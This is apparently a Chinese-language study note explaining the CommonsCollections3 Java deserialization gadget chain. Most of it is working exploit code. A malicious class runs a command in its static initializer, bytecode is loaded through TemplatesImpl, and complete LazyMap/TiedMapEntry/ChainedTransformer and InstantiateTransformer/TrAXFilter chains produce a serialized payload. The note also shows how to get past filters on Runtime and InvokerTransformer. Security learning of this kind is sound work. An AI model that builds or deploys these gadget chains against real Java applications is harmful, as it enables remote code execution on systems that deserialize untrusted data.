JAVA反序列化CC3
参考:Java反序列化CommonsCollections篇(三)-另一种命令执行方式
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java
环境搭建 同CC1
相关知识 假设Runtime 被过滤 是不是就没办法实现命令执行了呢?
我们可以利用JAVA的类加载机制实现任意代码执行
类加载的核心方法在于defineClass
它接收字节码并返回对应的类(此时还未加载)
再对获取到的类调用newInstance方法实现类加载和实例化
1 2 3 4 5 6 7 8 9 10 public class Test { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
1 2 3 4 5 6 7 8 9 10 public class LoadClassTest { public static void main (String[] args) throws Exception { ClassLoader cl = ClassLoader.getSystemClassLoader(); Method define_class_method = ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); define_class_method.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E:\path\to\untitled\target\classes\Test.class" )); Class c = (Class) define_class_method.invoke(cl, code, 0 , code.length); c.newInstance(); } }
总结:需要一个构造一个类,静态代码块放目标执行代码;用defineClass和newInstance触发类加载
漏洞分析 0x1 首先寻找defineClass的调用处 这里用到TemplatesImpl.defineClass
1 2 3 4 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
接着追踪到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } }
可以看到23行调用了defineClass
注意点:
10#_tfactory.getExternalExtensionsMap()
的_tfactory
没有在先赋值,仍然为null 调用会报错 所以要通过反射获取Field对其赋值
要绕过35行检测 否则会报错 也就是要通过27行判断使得_transletIndex
被赋值 (它默认值就为-1)
跟进可知String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
也就是我们的目标类应该要继承这个类 来通过检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;public class Test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
0x2 接着追踪defineTransletClasses
的调用处 有三个地方 但是只有TemplatesImpl.getTransletInstance
中有调用newInstance
对我们有用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } }
同时要注意设置_name
Field
0x3 之后追踪到TemplatesImpl.newTransformer
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class CC3Test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = TemplatesImpl.class; Field bytecode = tc.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); byte [][] bytes = new byte [1 ][]; bytes[0 ] = Files.readAllBytes(Paths.get("E:\\path\\to\\untitled\\target\\classes\\Test.class" )); bytecode.set(templates, bytes); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "gg" ); TransformerFactoryImpl tfi = new TransformerFactoryImpl (); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, tfi); templates.newTransformer(); } }
至此 我们相当于将之前的直接用Runtime执行命令替换成了类加载的模式 接下来就和之前的链条一样了 利用HashMap 和 ChainedTransformer来完成序列化利用
0x4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public class CC3Test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = TemplatesImpl.class; Field bytecode = tc.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); byte [][] bytes = new byte [1 ][]; bytes[0 ] = Files.readAllBytes(Paths.get("E:\\Study\\a_CTF\\Web\\java_unserialize\\untitled\\target\\classes\\Test.class" )); bytecode.set(templates, bytes); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "gg" ); TransformerFactoryImpl tfi = new TransformerFactoryImpl (); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, tfi); ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null , null ), }); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "aaa" ); HashMap<Object, Object> o = new HashMap <>(); o.put(tiedMapEntry, "bbb" ); lazyMap.remove("aaa" ); } }
0x1 InvokerTransformer被过滤 那我们看看哪里调用了TemplatesImpl.newTransformer()
跟踪到
1 2 3 4 5 6 7 8 public class TrAXFilter extends XMLFilterImpl { public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); } }
可以看到直接传一个templates进去就会调用 newTransformer 但是它是不可序列化的(可以用TrAXFilter.class解决)
0x2 这里又用到 InstantiateTransformer.transform
因为它获取构造器并生成实例 正好是我们想要的
1 2 3 4 5 6 7 8 9 10 11 12 public class InstantiateTransformer implements Transformer , Serializable { public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } }
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class CC3Test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = TemplatesImpl.class; Field bytecode = tc.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); byte [][] bytes = new byte [1 ][]; bytes[0 ] = Files.readAllBytes(Paths.get("E:\\path\\to\\target\\classes\\Test.class" )); bytecode.set(templates, bytes); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "gg" ); TransformerFactoryImpl tfi = new TransformerFactoryImpl (); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, tfi); InstantiateTransformer trans = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); trans.transform(TrAXFilter.class); } }
0x3 最后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public class CC3Test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = TemplatesImpl.class; Field bytecode = tc.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); byte [][] bytes = new byte [1 ][]; bytes[0 ] = Files.readAllBytes(Paths.get("E:\\Study\\a_CTF\\Web\\java_unserialize\\untitled\\target\\classes\\Test.class" )); bytecode.set(templates, bytes); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "gg" ); TransformerFactoryImpl tfi = new TransformerFactoryImpl (); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, tfi); InstantiateTransformer trans = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), trans }); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "aaa" ); HashMap<Object, Object> o = new HashMap <>(); o.put(tiedMapEntry, "bbb" ); lazyMap.remove("aaa" ); serializeTest(o); } }